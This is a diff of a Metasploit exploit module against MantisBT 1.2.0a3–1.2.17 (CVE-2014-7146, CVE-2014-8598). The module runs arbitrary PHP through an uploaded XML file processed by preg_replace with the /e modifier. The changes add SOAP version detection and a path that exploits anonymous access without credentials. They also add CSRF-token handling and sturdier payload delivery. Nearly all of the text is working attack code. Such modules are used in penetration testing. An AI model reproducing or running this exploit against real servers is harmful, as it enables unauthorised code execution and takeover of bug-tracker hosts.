@@ -9,6 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
9
9
Rank = GreatRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
+ include REXML
12
13
13
14
def initialize ( info = { } )
14
15
super ( update_info ( info ,
@@ -17,16 +18,22 @@ def initialize(info = {})
17
18
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
18
19
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
19
20
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
21
+ This version also suffers from another issue. The import page is not checking the correct user level
22
+ of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.
20
23
} ,
21
24
'License' => MSF_LICENSE ,
22
25
'Author' =>
23
26
[
24
27
'Egidio Romano' , # discovery http://karmainsecurity.com
25
28
'Juan Escobar <eng.jescobar[at]gmail.com>' , # module development @itsecurityco
29
+ 'Christian Mehlmauer'
26
30
] ,
27
31
'References' =>
28
32
[
29
- [ 'CVE' , '2014-7146' ]
33
+ [ 'CVE' , '2014-7146' ] ,
34
+ [ 'CVE' , '2014-8598' ] ,
35
+ [ 'URL' , 'https://www.mantisbt.org/bugs/view.php?id=17725' ] ,
36
+ [ 'URL' , 'https://www.mantisbt.org/bugs/view.php?id=17780' ]
30
37
] ,
31
38
'Platform' => 'php' ,
32
39
'Arch' => ARCH_PHP ,
@@ -42,49 +49,98 @@ def initialize(info = {})
42
49
] , self . class )
43
50
end
44
51
52
+ def get_mantis_version
53
+ xml = Document . new
54
+ xml . add_element (
55
+ "soapenv:Envelope" ,
56
+ {
57
+ 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance" ,
58
+ 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema" ,
59
+ 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/" ,
60
+ 'xmlns:man' => "http://futureware.biz/mantisconnect"
61
+ } )
62
+ xml . root . add_element ( "soapenv:Header" )
63
+ xml . root . add_element ( "soapenv:Body" )
64
+ body = xml . root . elements [ 2 ]
65
+ body . add_element ( "man:mc_version" ,
66
+ { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }
67
+ )
68
+
69
+ res = send_request_cgi ( {
70
+ 'method' => 'POST' ,
71
+ 'uri' => normalize_uri ( target_uri . path , 'api' , 'soap' , 'mantisconnect.php' ) ,
72
+ 'ctype' => 'text/xml; charset=UTF-8' ,
73
+ 'headers' => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version' } ,
74
+ 'data' => xml . to_s
75
+ } )
76
+ if res && res . code == 200
77
+ match = res . body . match ( /<ns1:mc_versionResponse.*><return xsi:type="xsd:string">(.+)<\/ return><\/ ns1:mc_versionResponse>/ )
78
+ if match && match . length == 2
79
+ version = match [ 1 ]
80
+ print_status ( "Detected Mantis version #{ version } " )
81
+ return version
82
+ end
83
+ end
84
+
85
+ print_status ( "Can not detect Mantis version" )
86
+ return nil
87
+ end
88
+
45
89
def check
46
- res = exec_php ( 'phpinfo(); die();' , true )
90
+ version = get_mantis_version
91
+
92
+ return Exploit ::CheckCode ::Unknown if version . nil?
93
+
94
+ gem_version = Gem ::Version . new ( version )
95
+ gem_version_introduced = Gem ::Version . new ( '1.2.0a3' )
96
+ gem_version_fixed = Gem ::Version . new ( '1.2.18' )
47
97
48
- if res && res . body =~ /This program makes use of the Zend/
49
- return Exploit ::CheckCode ::Vulnerable
98
+ if gem_version < gem_version_fixed && gem_version >= gem_version_introduced
99
+ return Msf :: Exploit ::CheckCode ::Appears
50
100
else
51
- return Exploit ::CheckCode ::Unknown
101
+ return Msf :: Exploit ::CheckCode ::Safe
52
102
end
53
103
end
54
104
55
105
def do_login ( )
56
- print_status ( 'Checking access to MantisBT...' )
106
+ # check for anonymous login
57
107
res = send_request_cgi ( {
58
108
'method' => 'GET' ,
59
- 'uri' => normalize_uri ( target_uri . path , 'login_page.php' ) ,
60
- 'vars_get' => {
61
- 'return' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' )
62
- }
63
- } )
64
-
65
- fail_with ( Failure ::NoAccess , 'Error accessing MantisBT' ) unless res && res . code == 200
66
-
67
- session_cookie = res . get_cookies
68
-
69
- print_status ( 'Logging in...' )
70
- res = send_request_cgi ( {
71
- 'method' => 'POST' ,
72
- 'uri' => normalize_uri ( target_uri . path , 'login.php' ) ,
73
- 'cookie' => session_cookie ,
74
- 'vars_post' => {
75
- 'return' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' ) ,
76
- 'username' => datastore [ 'username' ] ,
77
- 'password' => datastore [ 'password' ] ,
78
- 'secure_session' => 'on'
79
- }
109
+ 'uri' => normalize_uri ( target_uri . path , 'login_anon.php' )
80
110
} )
111
+ # if the redirect contains a username (non empty), anonymous access is enabled
112
+ if res && res . redirect? && res . redirection && res . redirection . query =~ /username=[^&]+/
113
+ print_status ( 'Anonymous access enabled, no need to log in' )
114
+ session_cookie = res . get_cookies
115
+ else
116
+ res = send_request_cgi ( {
117
+ 'method' => 'GET' ,
118
+ 'uri' => normalize_uri ( target_uri . path , 'login_page.php' ) ,
119
+ 'vars_get' => {
120
+ 'return' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' )
121
+ }
122
+ } )
123
+ session_cookie = res . get_cookies
124
+ print_status ( 'Logging in...' )
125
+ res = send_request_cgi ( {
126
+ 'method' => 'POST' ,
127
+ 'uri' => normalize_uri ( target_uri . path , 'login.php' ) ,
128
+ 'cookie' => session_cookie ,
129
+ 'vars_post' => {
130
+ 'return' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' ) ,
131
+ 'username' => datastore [ 'username' ] ,
132
+ 'password' => datastore [ 'password' ] ,
133
+ 'secure_session' => 'on'
134
+ }
135
+ } )
136
+ fail_with ( Failure ::NoAccess , 'Login failed' ) unless res && res . code == 302
137
+
138
+ fail_with ( Failure ::NoAccess , 'Wrong credentials' ) unless res && !res . redirection . to_s . include? ( 'login_page.php' )
139
+
140
+ session_cookie = "#{ session_cookie } #{ res . get_cookies } "
141
+ end
81
142
82
-
83
- fail_with ( Failure ::NoAccess , 'Login failed' ) unless res && res . code == 302
84
-
85
- fail_with ( Failure ::NoAccess , 'Wrong credentials' ) unless res . redirection . to_s !~ /login_page.php/
86
-
87
- "#{ session_cookie } #{ res . get_cookies } "
143
+ session_cookie
88
144
end
89
145
90
146
def upload_xml ( payload_b64 , rand_text , cookies , is_check )
@@ -107,11 +163,16 @@ def upload_xml(payload_b64, rand_text, cookies, is_check)
107
163
}
108
164
} )
109
165
110
- unless res && res . code == 200
166
+ unless res && res . code == 200 && res . body
111
167
print_error ( 'Error trying to access XmlImportExport/import page...' )
112
168
return false
113
169
end
114
170
171
+ if res . body . include? ( 'Plugin is not registered with MantisBT' )
172
+ print_error ( 'XMLImportExport plugin is not installed' )
173
+ return false
174
+ end
175
+
115
176
# Retrieving CSRF token
116
177
if res . body =~ /name="plugin_xml_import_action_token" value="(.*)"/
117
178
csrf_token = Regexp . last_match [ 1 ]
@@ -190,22 +251,37 @@ def upload_xml(payload_b64, rand_text, cookies, is_check)
190
251
data_post = data . to_s
191
252
192
253
print_status ( 'Sending payload...' )
193
- return send_request_cgi ( {
254
+ res = send_request_cgi ( {
194
255
'method' => 'POST' ,
195
256
'uri' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import_action' ) ,
196
257
'cookie' => cookies ,
197
258
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
198
259
'data' => data_post
199
260
} , timeout )
261
+
262
+ if res && res . body && res . body . include? ( 'APPLICATION ERROR' )
263
+ print_error ( 'Error on uploading XML' )
264
+ return false
265
+ end
266
+
267
+ # request above will time out and return nil on success
268
+ return true
200
269
end
201
270
202
271
def exec_php ( php_code , is_check = false )
272
+ print_status ( 'Checking access to MantisBT...' )
273
+ res = send_request_cgi ( {
274
+ 'method' => 'GET' ,
275
+ 'uri' => normalize_uri ( target_uri . path )
276
+ } )
277
+
278
+ fail_with ( Failure ::NoAccess , 'Error accessing MantisBT' ) unless res && ( res . code == 200 || res . redirection )
203
279
204
280
# remove comments, line breaks and spaces of php_code
205
281
payload_clean = php_code . gsub ( /(\s +)|(#.*)/ , '' )
206
282
207
283
# clean b64 payload
208
- while Rex ::Text . encode_base64 ( payload_clean ) =~ /=/
284
+ while Rex ::Text . encode_base64 ( payload_clean ) . include? ( '=' )
209
285
payload_clean = "#{ payload_clean } "
210
286
end
211
287
payload_b64 = Rex ::Text . encode_base64 ( payload_clean )
@@ -216,6 +292,8 @@ def exec_php(php_code, is_check = false)
216
292
217
293
res_payload = upload_xml ( payload_b64 , rand_text , cookies , is_check )
218
294
295
+ return unless res_payload
296
+
219
297
# When a meterpreter session is active, communication with the application is lost.
220
298
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
221
299
cookies = do_login ( )
@@ -283,6 +361,7 @@ def exec_php(php_code, is_check = false)
283
361
end
284
362
285
363
def exploit
364
+ get_mantis_version
286
365
unless exec_php ( payload . encoded )
287
366
fail_with ( Failure ::Unknown , 'Exploit failed, aborting.' )
288
367
end
0 commit comments